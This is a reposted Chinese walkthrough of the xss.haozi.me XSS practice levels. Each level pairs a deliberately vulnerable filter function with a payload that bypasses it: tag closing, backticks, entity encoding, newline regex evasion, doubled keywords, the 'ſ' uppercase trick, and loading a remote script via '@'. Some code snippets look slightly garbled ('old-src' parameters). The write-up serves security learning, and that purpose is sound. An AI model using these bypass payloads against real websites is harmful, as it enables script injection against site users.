XSS练习笔记

本文转载自:<http://saltyfishyu.xmutsec.com/index.php/2018/09/27/46.html&gt;

简介

xss 练习地址:

<https://xss.haozi.me/&gt;

xss 项目地址:

<https://github.com/haozi/xss-demo&gt;

0x00

function render (input) {
  return '&lt;div&gt;' + input + '&lt;/div&gt;'
}

无过滤

&lt;script&gt;alert(1)&lt;/script&gt;

0x01

function render (input) {
  return '&lt;textarea&gt;' + input + '&lt;/textarea&gt;'
}

文本框无法执行,但是可以闭合 &lt;textarea&gt; 来执行.

&lt;/textarea&gt;&lt;script&gt;alert(1)&lt;/script&gt;

0x02

function render (input) {
  return '&lt;input type=&quot;name&quot; value=&quot;' + input + '&quot;&gt;'
}

简单的 dom型xss ,闭合前面的双引号后面的句子随便构造,只要能执行.

&quot;onmouseover=&quot;alert(1)&quot;

或通过闭合前面的尖括号,构造新的语句执行.

&quot;&gt;&lt;svg/onload=alert(1)&gt;

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号 () ,但是我们仍然可以使用反引号执行.

&lt;script&gt;alert`1`&lt;/script&gt;

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号 () ,反引号 ``` .

&lt;svg&gt; 可以执行 html转义字符.

&lt;svg&gt;&lt;script&gt;alert&amp;#40;1&amp;#41;&lt;/script&gt;

0x05

function render (input) {
  input = input.replace(/--&gt;/g, 'emoji笑脸')
  return '&lt;!-- ' + input + ' --&gt;'
}

\&lt;!-- 可以用 --&gt;--!&gt; 两种方式闭合.

--!&gt;&lt;script&gt;alert(1)&lt;/script&gt;

0x06

function render (input) {
  input = input.replace(/auto|on.*=|&gt;/ig, '_')
  return `&lt;input value=1 ${input} type=&quot;text&quot;&gt;`
}

可以通过换行绕过正则检测.

type=&quot;image&quot; old-src=&quot;xxx&quot; onerror
=&quot;alert(1)&quot;

0x07

function render (input) {
  const stripTagsRe = /&lt;\/?[^&gt;]+&gt;/gi

  input = input.replace(stripTagsRe, '')
  return `&lt;article&gt;${input}&lt;/article&gt;`
}

匹配了尖括号 &lt;&gt; 开头结尾的字符串替换为空.

可以通过少输入一个 &gt; 来绕过正则,但仍然可以执行.

&lt;body onload=&quot;alert(1)&quot;

0x08

function render (old-src) {
  old-src = old-src.replace(/&lt;\/style&gt;/ig, '/* \u574F\u4EBA */')
  return `
    &lt;style&gt;
      ${old-src}
    &lt;/style&gt;
  `
}

通过换行绕过正则,闭合 &lt;style&gt; 然后执行语句.

&lt;/style
&gt;&lt;script&gt;alert(1)&lt;/script&gt;

0x09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `&lt;script old-src=&quot;${input}&quot;&gt;&lt;/script&gt;`
  }
  return 'Invalid URL'
}

匹配 https://www.segmentfault.com 开头的字符串.

闭合第一个 script ,执行语句,然后 // 注释后面的语句.

https://www.segmentfault.com&quot;&gt;&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;//

0x0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&amp;/g, '&amp;')
            .replace(/'/g, ' ')
            .replace(/&quot;/g, '&quot;')
            .replace(/&lt;/g, '&lt;')
            .replace(/&gt;/g, '&gt;')
            .replace(/\//g, '/')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `&lt;script old-src=&quot;${escapeHtml(input)}&quot;&gt;&lt;/script&gt;`
  }
  return 'Invalid URL'
}

对一些符号进行了编码,并且正则匹配了 https://www.segmentfault.com 开头的字符串.

这里可以使用 @ 来执行我们自己的js.(其实是访问 https://xss.haozi.me/j.js )

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

function render (input) {
  input = input.toUpperCase()
  return `&lt;h1&gt;${input}&lt;/h1&gt;`
}

html标签 , 域名 不区分大小写.

&lt;script old-src=&quot;https://xss.haozi.me/j.js&quot;&gt;&lt;/script&gt;

0x0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '&lt;h1&gt;' + input + '&lt;/h1&gt;'
}

只检查了一遍是否存在 script ,于是可以在 script 中双写 script 绕过.

&lt;scrscriptipt old-src=&quot;https://xss.haozi.me/j.js&quot;&gt;&lt;/scrscriptipt&gt;

0x0D

function render (input) {
  input = input.replace(/[&lt;/&quot;']/g, '')
  return `
    &lt;script&gt;
          // alert('${input}')
    &lt;/script&gt;
  `
}

过滤了 &lt; , / , &quot; , ' .

通过换行绕过注释.

然后用 html 的注释符 --&gt; 注释掉后面的圆括号.

alert(1)
--&gt;

0x0E

function render (input) {
  input = input.replace(/&lt;([a-zA-Z])/g, '&lt;_$1')
  input = input.toUpperCase()
  return '&lt;h1&gt;' + input + '&lt;/h1&gt;'
}

匹配了所有 &lt; 与字母的组合.

&lt;s 无法使用.

但是 ſ 大写后为S,且其ascii值不与s相等,因此可以绕过.

&lt;ſcript old-src=&quot;https://xss.haozi.me/j.js&quot;&gt;&lt;/script&gt;

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&amp;/g, '&amp;')
            .replace(/'/g, ' ')
            .replace(/&quot;/g, '&quot;')
            .replace(/&lt;/g, '&lt;')
            .replace(/&gt;/g, '&gt;')
            .replace(/\//g, '/')
  }
  return `&lt;img old-src onerror=&quot;console.error('${escapeHtml(input)}')&quot;&gt;`
}

&amp; , ' , &quot; , &lt; , &gt; , \/ 进行编码.

浏览器会先解析 html ,再解析 js ,因此 waf 实际无用.

');alert(1)//

0x10

function render (input) {
  return `
&lt;script&gt;
  window.data = ${input}
&lt;/script&gt;
  `
}

无过滤,在 &lt;script&gt; 中直接执行.

alert(1)

0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/&quot;/g, '\\&quot;')
            .replace(/`/g, '\\`')
            .replace(/&lt;/g, '\\74')
            .replace(/&gt;/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
&lt;script&gt;
  var url = 'javascript:console.log(&quot;${s}&quot;)'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
&lt;/script&gt;
`
}

过滤了一些字符.

&quot; 过滤为 \\&quot; ,但目的达成,闭合了前面的双引号,然后执行了语句,并用 // 注释了后面的语句.

&quot;);alert(1)//

0x12

// from alf.nu
function escape (s) {
  s = s.replace(/&quot;/g, '\\&quot;')
  return '&lt;script&gt;console.log(&quot;' + s + '&quot;);&lt;/script&gt;'
}

直接闭合最前面的 &lt;script&gt; ,然后创造一个新的 &lt;script&gt; 执行 alert(1) 即可.

&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;

声明:该文章系转载,转载该文章的目的在于更广泛的传递信息,并不代表本网站赞同其观点,文章内容仅供参考。

本站是一个个人学习和交流平台,网站上部分文章为网站管理员和网友从相关媒体转载而来,并不用于任何商业目的,内容为作者个人观点, 并不代表本网站赞同其观点和对其真实性负责。

我们已经尽可能的对作者和来源进行了通告,但是可能由于能力有限或疏忽,导致作者和来源有误,亦可能您并不期望您的作品在我们的网站上发布。我们为这些问题向您致歉,如果您在我站上发现此类问题,请及时联系我们,我们将根据您的要求,立即更正或者删除有关内容。本站拥有对此声明的最终解释权。